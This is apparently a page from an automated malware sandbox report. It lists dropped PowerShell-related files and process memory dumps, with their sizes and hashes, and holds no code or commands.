b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
20b2f6ad2d2accd37fbd46b9d9bf8989

SHA1
91db3ff9493d1ab55efb65b715a2a8c61a72adbd

SHA256
32fef7d0dd7c43bd3440fca325e363d04b667c385d13d4dd44528f35b0167bed

SHA512
acf13e39320da7837d169c2575d6575eb638f41f6deead0915785269effebe334adc5f8d73d6621aa4eea047b261fabd50ffc9449f47126953534059e8ff7501

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nr242efd.f0b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/628-92-0x00007FF7321A0000-0x00007FF7321B6000-memory.dmp

Filesize
88KB

Download
memory/628-98-0x00007FF7321A0000-0x00007FF7321B6000-memory.dmp

Filesize
88KB

Download
memory/1468-13-0x0000023231C00000-0x0000023231C10000-memory.dmp

Filesize
64KB

Download
memory/1468-10-0x0000023231BB0000-0x0000023231BD2000-memory.dmp

Filesize
136KB

Download
memory/1468-11-0x00007FFB13120000-0x00007FFB13BE1000-memory.dmp

Filesize
10.8MB

Download
memory/1468-16-0x00007FFB13120000-0x00007FFB13BE1000-memory.dmp

Filesize
10.8MB

Download
memory/1468-12-0x0000023231C00000-0x0000023231C10000-memory.dmp

Filesize
64KB

Download
memory/1908-77-0x000001E823E90000-0x000001E823E9A000-memory.dmp

Filesize
40KB

Download
memory/1908-75-0x000001E823EB0000-0x000001E823EC0000-memory.dmp

Filesize
64KB

Download
memory/1908-81-0x00007FFB13120000-0x00007FFB13BE1000-memory.dmp

Filesize
10.8MB

Download
memory/1908-79-0x000001E823EB0000-0x000001E823EC0000-memory.dmp

Filesize
64KB

Download
memory/1908-78-0x000001E826550000-0x000001E82656C000-memory.dmp

Filesize
112KB

Download
memory/1908-76-0x000001E826330000-0x000001E8263E5000-memory.dmp

Filesize
724KB

Download
memory/1908-74-0x000001E823E70000-0x000001E823E8C000-memory.dmp

Filesize
112KB

Download
memory/1908-63-0x000001E823EB0000-0x000001E823EC0000-memory.dmp

Filesize
64KB

Download
memory/1908-58-0x00007FFB13120000-0x00007FFB13BE1000-memory.dmp

Filesize
10.8MB

Download
memory/1908-64-0x000001E823EB0000-0x000001E823EC0000-memory.dmp

Filesize
64KB

Download
memory/2456-35-0x00007FF7FE1C0000-0x00007FF7FE3D1000-memory.dmp

Filesize
2.1MB

Download
memory/2456-0-0x00007FF7FE1C0000-0x00007FF7FE3D1000-memory.dmp

Filesize
2.1MB

Download
memory/2964-50-0x00007FFB13120000-0x00007FFB13BE1000-memory.dmp

Filesize
10.8MB

Download
memory/2964-37-0x0000022C185E0000-0x0000022C185F0000-memory.dmp

Filesize
64KB

Download
memory/2964-36-0x00007FFB13120000-0x00007FFB13BE1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-31-0x0000012458DB0000-0x0000012458DC0000-memory.dmp

Filesize
64KB

Download
memory/3040-30-0x0000012458DB0000-0x0000012458DC0000-memory.dmp

Filesize
64KB

Download
memory/3040-33-0x00007FFB13120000-0x00007FFB13BE1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-28-0x00007FFB13120000-0x00007FFB13BE1000-memory.dmp

Filesize
10.8MB

Download
memory/3040-29-0x0000012458DB0000-0x0000012458DC0000-memory.dmp

Filesize
64KB

Download
memory/3388-97-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-116-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-91-0x00000207846F0000-0x0000020784710000-memory.dmp

Filesize
128KB

Download
memory/3388-87-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-93-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-154-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-152-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-106-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-94-0x0000020784710000-0x0000020784730000-memory.dmp

Filesize
128KB

Download
memory/3388-99-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-100-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-102-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-103-0x0000020784710000-0x0000020784730000-memory.dmp

Filesize
128KB

Download
memory/3388-104-0x0000020784730000-0x0000020784750000-memory.dmp

Filesize
128KB

Download
memory/3388-95-0x0000020784730000-0x0000020784750000-memory.dmp

Filesize
128KB

Download
memory/3388-108-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-110-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-112-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-114-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-86-0x0000020784580000-0x00000207845A0000-memory.dmp

Filesize
128KB

Download
memory/3388-118-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-120-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-122-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-124-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-126-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-128-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-130-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-132-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-134-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-136-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-138-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-140-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-142-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-144-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-146-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-148-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/3388-150-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp

Filesize
8.0MB

Download
memory/4472-51-0x00007FF6A9E00000-0x00007FF6AA011000-memory.dmp

Filesize
2.1MB

Download
memory/4472-85-0x00007FF6A9E00000-0x00007FF6AA011000-memory.dmp

Filesize
2.1MB

Download